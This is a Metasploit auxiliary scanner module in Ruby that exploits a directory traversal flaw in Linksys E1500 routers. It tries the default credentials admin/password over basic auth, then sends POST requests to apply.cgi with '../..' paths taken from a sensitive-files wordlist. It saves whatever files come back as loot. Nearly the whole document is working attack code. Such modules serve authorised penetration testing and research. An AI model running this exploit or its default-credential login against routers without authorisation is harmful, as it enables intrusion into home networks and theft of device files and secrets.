##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Auxiliary

	include Msf::Exploit::Remote::HttpClient
	include Msf::Auxiliary::Scanner

	def initialize
		super(
			'Name'        => 'Linksys E1500 Directory Traversal Vulnerability',
			'Description' => %q{
					This module exploits a directory traversal vulnerability which is present in
				different Linksys home routers, like the E1500.
			},
			'References'  =>
				[
					[ 'URL', 'http://www.s3cur1ty.de/m1adv2013-004' ],
					[ 'URL', 'http://homekb.cisco.com/Cisco2/ukp.aspx?pid=80&app=vw&vw=1&login=1&json=1&docid=d7d0a87be9864e20bc347a73f194411f_KB_EN_v1.xml' ],
					[ 'BID', '57760' ],
					[ 'OSVDB', '89911' ],
					[ 'EDB', '24475' ]
				],
			'Author'      => [ 'Michael Messner <devnull[at]s3cur1ty.de>' ],
			'License'     => MSF_LICENSE
		)

		register_options(
			[
				OptPath.new('SENSITIVE_FILES',  [ true, "File containing senstive files, one per line",
					File.join(Msf::Config.install_root, "data", "wordlists", "sensitive_files.txt") ]),
				OptString.new('USERNAME',[ true, 'User to login with', 'admin']),
				OptString.new('PASSWORD',[ true, 'Password to login with', 'password']),

			], self.class)
	end

	def extract_words(wordfile)
		return [] unless wordfile && File.readable?(wordfile)
		begin
			words = File.open(wordfile, "rb") do |f|
				f.read
			end
		rescue
			return []
		end
		save_array = words.split(/\r?\n/)
		return save_array
	end

	def find_files(file,user,pass)
		uri = "/apply.cgi"
		traversal = '../..'
		data_trav = "submit_type=wsc_method2&change_action=gozila_cgi&next_page=" << traversal << file
		res = send_request_cgi({
			'method'  => 'POST',
			'uri'     => uri,
			'authorization' => basic_auth(user,pass),
			'vars_post' => {
				"submit_type" => "wsc_method2",
				"change_action" => "gozila_cgi",
				"next_page" => traversal << file
			}
		})

		#without res.body.length we get lots of false positives
		if (res and res.code == 200 and res.body.length > 0)
			print_good("#{rhost}:#{rport} - Request may have succeeded on file #{file}")
			report_web_vuln({
					:host => rhost,
					:port => rport,
					:vhost => datastore['VHOST'],
					:path => uri,
					:pname => data_trav,
					:risk => 3,
					:proof => data_trav,
					:name => self.fullname,
					:category => "web",
					:method => "POST"
			})

			loot = store_loot("linksys.traversal.data","text/plain", rhost, res.body, file)
			vprint_good("#{rhost}:#{rport} - File #{file} downloaded to: #{loot}")
		elsif (res and res.code)
			vprint_error("#{rhost}:#{rport} - Attempt returned HTTP error #{res.code} when trying to access #{file}")
		end
	end

	def run_host(ip)
		user = datastore['USERNAME']
		pass = datastore['PASSWORD']

		vprint_status("#{rhost}:#{rport} - Trying to login with #{user} / #{pass}")

		#test login
		begin
			res = send_request_cgi({
				'uri' => '/',
				'method' => 'GET',
				'authorization' => basic_auth(user,pass)
			})

			return if res.nil?
			return if (res.headers['Server'].nil? or res.headers['Server'] !~ /httpd/)
			return if (res.code == 404)

			if [200, 301, 302].include?(res.code)
				vprint_good("#{rhost}:#{rport} - Successful login #{user}/#{pass}")
			else
				vprint_error("#{rhost}:#{rport} - No successful login possible with #{user}/#{pass}")
				return
			end

		rescue ::Rex::ConnectionError
			vprint_error("#{rhost}:#{rport} - Failed to connect to the web server")
			return
		end

		extract_words(datastore['SENSITIVE_FILES']).each do |file|
			find_files(file, user, pass) unless file.empty?
		end
	end
end
